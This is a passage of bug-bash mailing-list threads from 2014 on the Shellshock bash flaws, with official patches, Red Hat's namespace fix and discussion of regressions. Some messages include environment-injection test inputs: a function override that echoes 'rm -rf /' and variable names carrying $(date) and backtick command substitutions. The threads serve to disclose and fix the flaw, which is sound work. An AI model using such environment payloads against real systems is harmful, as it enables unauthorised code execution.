> completely remove the ability to receive function definitions from the
> environment.

Not quite true.  The proposed patch 26 for 7169 is here:

http://www.openwall.com/lists/oss-security/2014/09/26/1

and it does NOT prevent the import of function definitions.  All it does
is fix one (out of three) known parser bugs; the parser will STILL parse
the input, but will no longer misbehave because of that particular
parse.  I'm actually a bit more worried about CVE-2014-7186 being used
as a denial of service attack (it's a parser bug where it is fairly easy
to cause bash to segfault, and what I worry is that someone smart enough
can come up with a complex string that turns the segfault into an
arbitrary execution exploit - at least with CVE-2014-7169, the worst an
attacker can do is create a file, but not execute arbitrary code).

Furthermore, Red Hat's latest patch for 7169 does NOT prevent importing
of functions, it only changes the WAY in which functions are imported,
by sticking functions in a different namespace that no longer collides
with normal shell variables.  Remember, the vulnerability of 6271 is
that a user with the ability to inject arbitrary contents into an
ordinary shell variable has triggered arbitrary code; but if shell
functions no longer use ordinary shell variables, the user is now just
passing an odd string.  Here's Red Hat's patch:
http://www.openwall.com/lists/oss-security/2014/09/25/13

I'm hoping that Chet will take Red Hat's stance, or do something
similar, and post a patch 27 that keeps function imports, but by
implementing them in a way that no longer collides with normal variables.

> 
> I have production code that requires function exporting that's going to be
> broken by 7169.  Is this some knee-jerk reaction by just RedHat or is this
> a revised patch from Chet marking a change in bash functionality?

Again, the goal is to NOT break function importing.  Yes, we know that
right now there is a regression where function importing of functions
whose name is not a valid shell variable name is broken (see
https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00186.html), but
I'm hoping that Chet will resolve that regression in the near future.

> 
> My company's cybersecurity folks are pushing to install 7169 as soon as
> possible and while I'm trying to push back I need to know if this a
> strategic change in direction for bash, RHEL, or what, exactly.  (Because I
> need to know how extensively I need to reachitect my application).

If you have questions about RHEL in particular, I suggest asking your
contact at Red Hat rather than trying to get free advice on this list.
(Although my mail address is from redhat.com, I am only an interested
engineer, and NOT an official Red Hat policy maker).

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Re: Environment variable of a name which is often used

[Eric Blake]

On 09/26/2014 11:31 AM, Norihiro Tanaka wrote:
> I tried 4.3.25 in order to check the details of CVE-2014-6271, and
> confirmed that the bug is fixed with a test case.
> 
> Next, I tried following case, and receive an output `rm -rf /'.  I seem
> that is designed, but it's also vulnerable.
> 
> $ cat  #!/bin/bash
> cat /dev/null
> EOF
> 
> $ chmod a+x test.sh
> $ env cat='() { echo rm -rf /; }' ./test.sh
> 
> `cat' command is often used.  If we set write malicious code to
> environment variable named `cat', I see that it's often run, even if not
> expected.

This is a known issue, but NOT necessarily a security bug.  In other
words, it's no worse than running:

env LD_PRELOAD=... ./test.sh

with a malicious preload library.  Remember, the security aspect of
CVE-2014-6271 is that bash does unwanted parsing of the _contents_ of an
environment variable, and NOT that it is tied to the _name_ of the
variable.  The exploit happens because well-known programs stick
user-controlled contents into a name already under the program's
control, and NOT because well-known programs are creating arbitrary
names in the environment (that is, a vulnerable system running apache is
NOT creating arbitrary variables, so much as sticking arbitrary contents
into a variable named HTTP_...).

But, if that doesn't persuade you, then look at this patch that Red Hat
is using: http://www.openwall.com/lists/oss-security/2014/09/25/13

It has the benefit of exporting functions through a namespace that
CANNOT collide with a normal environment variable, and therefore, normal
environment variables CANNOT be used to call into the bash parser
without consent, avoiding all four of CVE-2014-6271, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187 in one patch.  Neat, huh?

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Re: CVE-2014-7169 vs CVE-2014-6271

[Alan Wild]

I want to apologize for adding more confusion to this issue.  My statements
about CVE-2014-7169 where incorrect and misguided.  This change does not
remove function exporting but only changes how the function names are
encoded as variable names.
Because the published CVE-2014-6271 vulnerability test used "env" to create
a function outside of bash, I continued to follow this pattern to design
other tests.  I didn't realize that purposed of CVE-2014-7169 was not to
remove accepting functions from the environment but removing functions that
were created externally (as the vulnerability test did and as I continued
to do blindly).

Now that I understand, here's a better test showing it still works on a
machine with CVE-2014-7169:

-bash-3.2$ bash -c 'x() { echo "functions still work" "$@"; }; export -f x;
x normally; (x from a subshell; ); /bin/bash -c "x through the environment"'
functions still work normally
functions still work from a subshell
functions still work through the environment
If it helps reduce the confusion, machines with the older bash releases or
CVE-2014-6271 would export a function as follows:

-bash-3.2$ bash -c 'x() { echo "functions still work" "$@"; }; export -f x;
env | egrep "functions still work"'
x=() {  echo "functions still work" "$@"
but after the patch you get

-bash-3.2$ bash -c 'x() { echo "functions still work" "$@"; }; export -f x;
env | egrep "functions still work"'
BASH_FUNC_x()=() {  echo "functions still work" "$@"
-Alan


On Fri, Sep 26, 2014 at 12:06 PM, Alan Wild  wrote:

> Not that I get a "vote", but if I did... I'm completely supportive of
> dropping function "importing" support when bash is invoked as /bin/sh (or
> --posix).  This is clearly bash-specific functionality that isn't needed
> for POSIX-compliance.  Seams like a much more reasonable middle-ground then
> pulling it altogether.
>
> -Alan
>
> On Fri, Sep 26, 2014 at 11:58 AM, Alan Wild  wrote:
>
>> I've been searching for some clarification on these two "fixes" and I'm
>> utterly confused.  I've been lead to believe RedHat's first patch (6271) is
>> based on code from Chet that just causes bash to reject functions where
>> code appears outside of the function body.
>>
>> However, this patch was labeled as "insufficient" and 7169 now appears to
>> completely remove the ability to receive function definitions from the
>> environment.
>>
>> I have production code that requires function exporting that's going to
>> be broken by 7169.  Is this some knee-jerk reaction by just RedHat or is
>> this a revised patch from Chet marking a change in bash functionality?
>>
>> My company's cybersecurity folks are pushing to install 7169 as soon as
>> possible and while I'm trying to push back I need to know if this a
>> strategic change in direction for bash, RHEL, or what, exactly.  (Because I
>> need to know how extensively I need to reachitect my application).
>>
>> -Alan
>>
>> --
>> a...@madllama.net http://humbleville.blogspot.com
>>
>
>
>
> --
> a...@madllama.net http://humbleville.blogspot.com
>



-- 
a...@madllama.net http://humbleville.blogspot.com

Re: Detecting invocation as /bin/sh ?

[Alexandre Ferrieux]

On Friday, September 26, 2014 2:14:46 PM UTC+2, Greg Wooledge wrote:
> On Thu, Sep 25, 2014 at 11:53:18PM -0700, Alexandre Ferrieux wrote:
> 
> > Of course, their intention is precisely expressed by the '#!/bin/sh' header
> 
> Unfortunately, most people don't actually express an intent when they
> use #!/bin/sh.  They just copy some code from a random script they found
> somewhere, without understanding what it means.

That song reminds me of PHP. I was under the optimistic assumption that bash, 
given its noble ancestry, was not exactly targeting the same audience. 

> The number of scripts that use #!/bin/sh but then go on to use Bash
> syntax is higher than you might believe. 

OK. Sh*t happens. Bozos write scripts. So what ?
A more interesting question IMO is:

 How many packaged init scripts / mission-critical daemons are written by 
people that cannot be bothered to write #! /bin/bash when they require bash ? 

> It's not a stretch of the imagination to suppose that someone has used
> exported functions in a #!/bin/sh script on a Linux box where /bin/sh
> is a symlink to bash.

Except that script would instantly break if *dash* was installed, instead of 
bash, as target of the sh symlink. So that beast would already be extremely 
fragile.

-Alex

Re: Bash 2.05b patch for 896776 - (CVE-2014-6271) ?

[Steve Simmons]

On Sep 26, 2014, at 12:55 PM, Steve Simmons  wrote:

> If I manually update patchlevel.h to change from 0 to 9, the version is 
> reported as '2.05b.((1)-release'. Bug?

Bad Steve, no donut. With patchlevel.h correctly modified as above, bash 
reports the version as 2.05b.9(1)-release. Feel free to abuse me.

Without the mod above, building 2.05b with patches 1-9 applied, bash reports 
the version as 2.05b.0(1)-release.

Steve

Re: Bash security issue

[Eric Blake]

On 09/26/2014 02:22 PM, Linda Walsh wrote:
> Eric Blake wrote:
> 
>> They are not portable to broken bash.  But the argument in these threads
>> is that bash's implementation of function exports should be changed so
>> that _fixed_ bash will once again be POSIX compliant and let this
>> bog-standard assignment work regardless of contents.  If Chet accepts
>> Florian's patch [1] to change function exports to use BASH_FUNC_foo()=
>> instead of foo= (which is what Red Hat is already using in their fixes
>> pushed today), then this POSIX compliance bug in broken bash will be
>> avoided.
>>
>> [1] http://www.openwall.com/lists/oss-security/2014/09/25/13
>>
> 
> IS this added only in memory? I.e. no changes to source code?
> 
> What prevents BASH_FUNC_foo = '(){ :; ...';

Nothing, as you wrote it, because you have no () on the left of the
equal.  Florian's patch makes it so that the child bash sees your
example as a NORMAL variable, and so you get "echo $BASH_FUNC_foo"
outputting "(){...".  What matters is that 'export -f foo' results in
'BASH_FUNC_foo()=...' in the environment (note the parens on the left of
the equal).  As this is NOT a valid shell variable name, you have now
cleanly separated the namespace, and arbitrary contents of a shell
variable can no longer be coerced into a function.

And yes, you could still pass this arbitrary name via env or other
means, but remember that this exploit is not about the NAME of the
variable, but that arbitrary CONTENTS of a fixed name in the environment
were parsed rather than being treated as a string literal (in violation
of POSIX).  By separating namespaces, bash no longer violates POSIX, and
programs like apache that stick arbitrary contents into fixed-name
variables (but which do NOT create arbitrary-name variables) are no
longer subject to the parser intercepting their contents.

> 
> Why is there a need for a long prefix on top of switching
> the ()/= order?

only to make it all the more clear that this is a hand-shaking mechanism
between bash parent and child, and NOT something that most other
processes will care about.

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Re: CVE-2014-7169 vs CVE-2014-6271

[Eric Blake]

On 09/26/2014 02:57 PM, Alan Wild wrote:
> I want to apologize for adding more confusion to this issue.  My statements
> about CVE-2014-7169 where incorrect and misguided.  This change does not
> remove function exporting but only changes how the function names are
> encoded as variable names.

Actually, Chet's fix for CVE-2014-7169 (patch 26, mentioned here:
http://www.openwall.com/lists/oss-security/2014/09/26/1) does NOT change
how function names are encoded; that is a separate patch (such as this
one that Red Hat is using:
http://www.openwall.com/lists/oss-security/2014/09/25/13).  I'm hoping
that Chet will accept the direction that Red Hat has already decided to
go and issue patch 27 as a result, but that is still under discussion.

But yes, it means that the market is now fragmented - upstream bash and
Red Hat bash currently use DIFFERENT syntax for converting raw exports
into functions.  Please read Red Hat's knowledge base article:
https://access.redhat.com/articles/1200223


> If it helps reduce the confusion, machines with the older bash releases or
> CVE-2014-6271 would export a function as follows:
> 
> -bash-3.2$ bash -c 'x() { echo "functions still work" "$@"; }; export -f x;
> env | egrep "functions still work"'
> x=() {  echo "functions still work" "$@"
> but after the patch you get

By "the patch", you are here referring to Red Hat's patch, not Chet's.

> 
> -bash-3.2$ bash -c 'x() { echo "functions still work" "$@"; }; export -f x;
> env | egrep "functions still work"'
> BASH_FUNC_x()=() {  echo "functions still work" "$@"

Correct, this is symptomatic of a Red Hat build.

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Bash-4.3 Official Patch 26

[Chet Ramey]

 BASH PATCH REPORT
 =

Bash-Release:   4.3
Patch-ID:   bash43-026

Bug-Reported-by:Tavis Ormandy 
Bug-Reference-ID:
Bug-Reference-URL:  http://twitter.com/taviso/statuses/514887394294652929

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch (apply with `patch -p0'):

*** ../bash-4.3.25/parse.y  2014-07-30 10:14:31.0 -0400
--- parse.y 2014-09-25 20:20:21.0 -0400
***
*** 2954,2957 
--- 2954,2959 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
current_token = '\n';   /* XXX */
last_read_token = '\n';
*** ../bash-4.3.25/y.tab.c  2014-07-30 10:14:32.0 -0400
--- y.tab.c 2014-09-25 20:21:48.0 -0400
***
*** 5266,5269 
--- 5266,5271 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
current_token = '\n';   /* XXX */
last_read_token = '\n';
***
*** 8540,8542 
  }
  #endif /* HANDLE_MULTIBYTE */
- 
--- 8542,8543 
*** ../bash-4.3/patchlevel.h2012-12-29 10:47:57.0 -0500
--- patchlevel.h2014-03-20 20:01:28.0 -0400
***
*** 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 25
  
  #endif /* _PATCHLEVEL_H_ */
--- 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 26
  
  #endif /* _PATCHLEVEL_H_ */

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

Bash-4.0 Official Patch 40

[Chet Ramey]

 BASH PATCH REPORT
 =

Bash-Release:   4.0
Patch-ID:   bash40-040

Bug-Reported-by:Tavis Ormandy 
Bug-Reference-ID:
Bug-Reference-URL:  http://twitter.com/taviso/statuses/514887394294652929

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch (apply with `patch -p0'):

*** ../bash-4.0.39/parse.y  2009-06-02 09:08:07.0 -0400
--- parse.y 2014-09-25 16:15:47.0 -0400
***
*** 2671,2674 
--- 2671,2676 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
current_token = '\n';   /* XXX */
last_read_token = '\n';
*** ../bash-4.0/patchlevel.h2009-01-04 14:32:40.0 -0500
--- patchlevel.h2009-02-22 16:11:31.0 -0500
***
*** 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 39
  
  #endif /* _PATCHLEVEL_H_ */
--- 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 40
  
  #endif /* _PATCHLEVEL_H_ */

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

Bash-4.2 Official Patch 49

[Chet Ramey]

 BASH PATCH REPORT
 =

Bash-Release:   4.2
Patch-ID:   bash42-049

Bug-Reported-by:Tavis Ormandy 
Bug-Reference-ID:
Bug-Reference-URL:  http://twitter.com/taviso/statuses/514887394294652929

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch (apply with `patch -p0'):

*** ../bash-4.2.48/parse.y  2012-12-31 11:52:57.0 -0500
--- parse.y 2014-09-25 16:12:19.0 -0400
***
*** 2851,2854 
--- 2851,2856 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
current_token = '\n';   /* XXX */
last_read_token = '\n';
***
*** 8377,8379 
  }
  #endif /* HANDLE_MULTIBYTE */
- 
--- 8379,8380 
*** ../bash-4.2-patched/patchlevel.hSat Jun 12 20:14:48 2010
--- patchlevel.hThu Feb 24 21:41:34 2011
***
*** 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 48
  
  #endif /* _PATCHLEVEL_H_ */
--- 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 49
  
  #endif /* _PATCHLEVEL_H_ */

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

Bash-4.1 Official Patch 13

[Chet Ramey]

 BASH PATCH REPORT
 =

Bash-Release:   4.1
Patch-ID:   bash41-013

Bug-Reported-by:Tavis Ormandy 
Bug-Reference-ID:
Bug-Reference-URL:  http://twitter.com/taviso/statuses/514887394294652929

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch (apply with `patch -p0'):

*** ../bash-4.1.12/parse.y  2011-02-24 19:41:01.0 -0500
--- parse.y 2014-09-25 16:13:57.0 -0400
***
*** 2812,2815 
--- 2812,2817 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
current_token = '\n';   /* XXX */
last_read_token = '\n';
*** ../bash-4.1-patched/patchlevel.h2009-10-01 16:39:22.0 -0400
--- patchlevel.h2010-01-14 09:38:08.0 -0500
***
*** 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 12
  
  #endif /* _PATCHLEVEL_H_ */
--- 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 13
  
  #endif /* _PATCHLEVEL_H_ */

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

Bash-3.2 Official Patch 53

[Chet Ramey]

 BASH PATCH REPORT
 =

Bash-Release: 3.2
Patch-ID: bash32-053

Bug-Reported-by:Tavis Ormandy 
Bug-Reference-ID:
Bug-Reference-URL:  http://twitter.com/taviso/statuses/514887394294652929

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch:

*** ../bash-3.2.52/parse.y  2008-04-29 21:24:55.0 -0400
--- parse.y 2014-09-25 16:18:41.0 -0400
***
*** 2504,2507 
--- 2504,2509 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
last_read_token = '\n';
token_to_read = '\n';
*** ../bash-3.2/patchlevel.hThu Apr 13 08:31:04 2006
--- patchlevel.hMon Oct 16 14:22:54 2006
***
*** 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 52
  
  #endif /* _PATCHLEVEL_H_ */
--- 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 53
  
  #endif /* _PATCHLEVEL_H_ */

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

Bash-3.1 Official Patch 19

[Chet Ramey]

 BASH PATCH REPORT
 =

Bash-Release: 3.1
Patch-ID: bash31-019

Bug-Reported-by:Tavis Ormandy 
Bug-Reference-ID:
Bug-Reference-URL:  http://twitter.com/taviso/statuses/514887394294652929

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch:

*** ../bash-3.1.18/parse.y  2006-04-12 08:40:35.0 -0400
--- parse.y 2014-09-25 16:40:46.0 -0400
***
*** 2501,2504 
--- 2501,2506 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
last_read_token = '\n';
token_to_read = '\n';
*** ../bash-3.1/patchlevel.hWed Jul 20 13:58:20 2005
--- patchlevel.hWed Dec  7 13:48:42 2005
***
*** 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 18
  
  #endif /* _PATCHLEVEL_H_ */
--- 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 19
  
  #endif /* _PATCHLEVEL_H_ */

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

Bash-3.0 Official Patch 18

[Chet Ramey]

 BASH PATCH REPORT
 =

Bash-Release: 3.0
Patch-ID: bash30-018

Bug-Reported-by:Tavis Ormandy 
Bug-Reference-ID:
Bug-Reference-URL:  http://twitter.com/taviso/statuses/514887394294652929

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch:

*** ../bash-3.0.17/parse.y  2004-05-04 15:09:06.0 -0400
--- parse.y 2014-09-25 16:42:51.0 -0400
***
*** 2484,2487 
--- 2484,2489 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
last_read_token = '\n';
token_to_read = '\n';
*** ../bash-3.0/patchlevel.hWed Aug 22 08:05:39 2001
--- patchlevel.hThu Sep  2 15:04:32 2004
***
*** 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 17
  
  #endif /* _PATCHLEVEL_H_ */
--- 26,30 
 looks for to find the patch level (for the sccs version string). */
  
! #define PATCHLEVEL 18
  
  #endif /* _PATCHLEVEL_H_ */

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

Bash-2.05b Official Patch 8

[Chet Ramey]

 BASH PATCH REPORT
 =

Bash-Release: 2.05b
Patch-ID: bash205b-008

Bug-Reported-by:Stephane Chazelas 
Bug-Reference-ID:
Bug-Reference-URL:

Bug-Description:

Under certain circumstances, bash will execute user code while processing the
environment for exported function definitions.

Patch:

*** ../bash-2.05b.07/builtins/common.h  2002-05-10 12:25:08.0 -0400
--- builtins/common.h   2014-09-25 10:18:20.0 -0400
***
*** 33,36 
--- 33,38 
  
  /* Flags for describe_command, shared between type.def and command.def */
+ #define SEVAL_FUNCDEF 0x080   /* only allow function definitions */
+ #define SEVAL_ONECMD  0x100   /* only allow a single command */
  #define CDESC_ALL 0x001   /* type -a */
  #define CDESC_SHORTDESC   0x002   /* command -V */
*** ../bash-2.05b.07/builtins/evalstring.c  2002-04-04 13:38:50.0 
-0500
--- builtins/evalstring.c   2014-09-25 10:18:20.0 -0400
***
*** 205,208 
--- 205,216 
  struct fd_bitmap *bitmap;
  
+ if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
+   {
+ internal_warning ("%s: ignoring function definition attempt", 
from_file);
+ should_jump_to_top_level = 0;
+ last_result = last_command_exit_value = EX_BADUSAGE;
+ break;
+   }
+ 
  bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
  begin_unwind_frame ("pe_dispose");
***
*** 256,259 
--- 264,270 
  dispose_fd_bitmap (bitmap);
  discard_unwind_frame ("pe_dispose");
+ 
+ if (flags & SEVAL_ONECMD)
+   break;
}
}
*** ../bash-2.05b.07/variables.c2002-06-25 09:43:33.0 -0400
--- variables.c 2014-09-25 10:18:20.0 -0400
***
*** 270,279 
  strcpy (temp_string + char_index + 1, string);
  
! parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
! 
! /* Ancient backwards compatibility.  Old versions of bash exported
!functions like name()=() {...} */
! if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
!   name[char_index - 2] = '\0';
  
  if (temp_var = find_function (name))
--- 270,277 
  strcpy (temp_string + char_index + 1, string);
  
! /* Don't import function names that are invalid identifiers from the
!environment. */
! if (legal_identifier (name))
!   parse_and_execute (temp_string, name, 
SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
  
  if (temp_var = find_function (name))
***
*** 284,291 
  else
report_error ("error importing function definition for `%s'", name);
- 
- /* ( */
- if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
-   name[char_index - 2] = '('; /* ) */
}
  #if defined (ARRAY_VARS)
--- 282,285 

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

Bash-2.05b Official Patch 9

[Chet Ramey]

 BASH PATCH REPORT
 =

Bash-Release: 2.05b
Patch-ID: bash205b-009

Bug-Reported-by:Tavis Ormandy 
Bug-Reference-ID:
Bug-Reference-URL:  http://twitter.com/taviso/statuses/514887394294652929

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch:

*** ../bash-2.05b.08/parse.y2002-05-21 11:57:30.0 -0400
--- parse.y 2014-09-25 16:46:51.0 -0400
***
*** 2356,2359 
--- 2356,2361 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
last_read_token = '\n';
token_to_read = '\n';

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/

Re: CVE-2014-7169 vs CVE-2014-6271

[Alan Wild]

Yes, again... I was specifically working only with Red Hat patches.  I
hadn't actually seen Chet's patches anywhere (thanks for the link).
However, I was concerned that Red Hat was setting a major precedent and
effectively forking bash (arguably that is the case, but in a much more
minor way then I feared).

Red Hat's Linux is really the only widely used Linux distribution in our
company.  That said, my organization has special needs that requires us to
run multiple distributions and I wanted to make sure that these patches
weren't going to result in platform incompatibilities.

I also needed to understand whether we needed to "fight" our internal
pressures to install these patches or to request Red Hat to provide an
alternate fix.  I'm now (mostly) satisfied with the patches and I expect
we'll be installing them shortly.

As for your comment about "free support" wasn't looking for Red Hat
support here.  I've independently reached out to Red Hat also, but I wanted
to understand how Red Hat's patches were different from chet's patches.  I
specifically wanted to Chet's solution (and directions with bash) to
understand whether they were in line with Red Hat.

-Alan

On Fri, Sep 26, 2014 at 4:11 PM, Eric Blake  wrote:

> On 09/26/2014 02:57 PM, Alan Wild wrote:
> > I want to apologize for adding more confusion to this issue.  My
> statements
> > about CVE-2014-7169 where incorrect and misguided.  This change does not
> > remove function exporting but only changes how the function names are
> > encoded as variable names.
>
> Actually, Chet's fix for CVE-2014-7169 (patch 26, mentioned here:
> http://www.openwall.com/lists/oss-security/2014/09/26/1) does NOT change
> how function names are encoded; that is a separate patch (such as this
> one that Red Hat is using:
> http://www.openwall.com/lists/oss-security/2014/09/25/13).  I'm hoping
> that Chet will accept the direction that Red Hat has already decided to
> go and issue patch 27 as a result, but that is still under discussion.
>
> But yes, it means that the market is now fragmented - upstream bash and
> Red Hat bash currently use DIFFERENT syntax for converting raw exports
> into functions.  Please read Red Hat's knowledge base article:
> https://access.redhat.com/articles/1200223
>
>
> > If it helps reduce the confusion, machines with the older bash releases
> or
> > CVE-2014-6271 would export a function as follows:
> >
> > -bash-3.2$ bash -c 'x() { echo "functions still work" "$@"; }; export -f
> x;
> > env | egrep "functions still work"'
> > x=() {  echo "functions still work" "$@"
> > but after the patch you get
>
> By "the patch", you are here referring to Red Hat's patch, not Chet's.
>
> >
> > -bash-3.2$ bash -c 'x() { echo "functions still work" "$@"; }; export -f
> x;
> > env | egrep "functions still work"'
> > BASH_FUNC_x()=() {  echo "functions still work" "$@"
>
> Correct, this is symptomatic of a Red Hat build.
>
> --
> Eric Blake   eblake redhat com+1-919-301-3266
> Libvirt virtualization library http://libvirt.org
>
>


-- 
a...@madllama.net http://humbleville.blogspot.com

Re: REGRESSION: shellshock patch rejects valid function names

[Ángel González]

Eric Blake wrote:
> At any rate, this seems like an inadvertent regression that could be
> patched; are you willing to propose such a patch?  The gist of the
> matter is that the code base must use the same decision on what forms a
> valid function name as it does in deciding what exported non-variable
> names in the environment can be reinstated as functions.  I'm fairly
> certain that Chet will be reasonable about this, and after the worst
> fires are put out, we can revisit this.


The patch seems straightforward:

diff --git a/variables.c b/variables.c
index 92a5a10..6552e69 100644
--- a/variables.c
+++ b/variables.c
@@ -361,7 +361,7 @@ initialize_shell_variables (env, privmode)
  /* Don't import function names that are invalid identifiers from the
 environment, though we still allow them to be defined as shell
 variables. */
- if (legal_identifier (name))
+ if (check_identifier (name))
parse_and_execute (temp_string, name, 
SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
 
  if (temp_var = find_function (name))

Re: REGRESSION: shellshock patch rejects valid function names

[Jay Freeman (saurik)]

- "Ángel González"  wrote:

> The patch seems straightforward:
> 
> diff --git a/variables.c b/variables.c
> index 92a5a10..6552e69 100644
> --- a/variables.c
> +++ b/variables.c
> @@ -361,7 +361,7 @@ initialize_shell_variables (env, privmode)
...
> - if (legal_identifier (name))
> + if (check_identifier (name))
...

This patch would not work (it would not even compile if you tried it, in fact 
;P) because check_identifier takes two arguments: the second argument is 
whether to internally run legal_identifier on the name. Additionally, 
check_argument takes a WORD_DESC, not a string.

If these two issues were fixed (by using make_word or something, and then 
passing 0 or preferably posixly_correct), I am concerned that this might 
undermine the security fix itself, as check_identifier could potentially allow 
ludicrous things to be pasted in the name?

It seems, however, like SEVAL_FUNCDEF is sufficient to keep most things that 
should not happen from actually happening? I tested the attached patch against 
the following test case. It might be that I went overboard and don't actually 
need quote_escapes (I'm new to bash).

(function std:echo() { echo "$@"; }; export -f std:echo; env 'x$(date)=() { 
:;}' 'x`date`=() { :;}' 'date;x=() { date;}' ./bash --norc -c 'std:echo hello 
world')

./bash: `x$(date)': not a valid identifier
./bash: error importing function definition for `x$(date)'
./bash: `x`date`': not a valid identifier
./bash: error importing function definition for `x`date`'
./bash: warning: date;x: ignoring function definition attempt
./bash: error importing function definition for `date;x'
hello world

colon-functions-attempt-1.diff
Description: Binary data

Re: Environment variable of a name which is often used

[Norihiro Tanaka]

Eric Blake wrote:
> This is a known issue, but NOT necessarily a security bug.  In other
> words, it's no worse than running:
> 
> env LD_PRELOAD=... ./test.sh
> 
> with a malicious preload library.  Remember, the security aspect of
> CVE-2014-6271 is that bash does unwanted parsing of the _contents_ of an
> environment variable, and NOT that it is tied to the _name_ of the
> variable.  The exploit happens because well-known programs stick
> user-controlled contents into a name already under the program's
> control, and NOT because well-known programs are creating arbitrary
> names in the environment (that is, a vulnerable system running apache is
> NOT creating arbitrary variables, so much as sticking arbitrary contents
> into a variable named HTTP_...).

Thanks.  I understood that issue by CVE-2014-6271 is in below.

  - bash does unwanted parsing of the _contents_ of an environment variable
  - CVE-2014-6271 can be caused by any envoronment variable.

In my case, both conditions aren't filled.

Re: REGRESSION: shellshock patch rejects valid function names

[Dan Douglas]

On Friday, September 26, 2014 02:17:03 PM Eric Blake wrote:
> Ugg. Anyone advising people to write bash functions while using the
> obsolete keyword 'function' ought to be questioned about their advice in
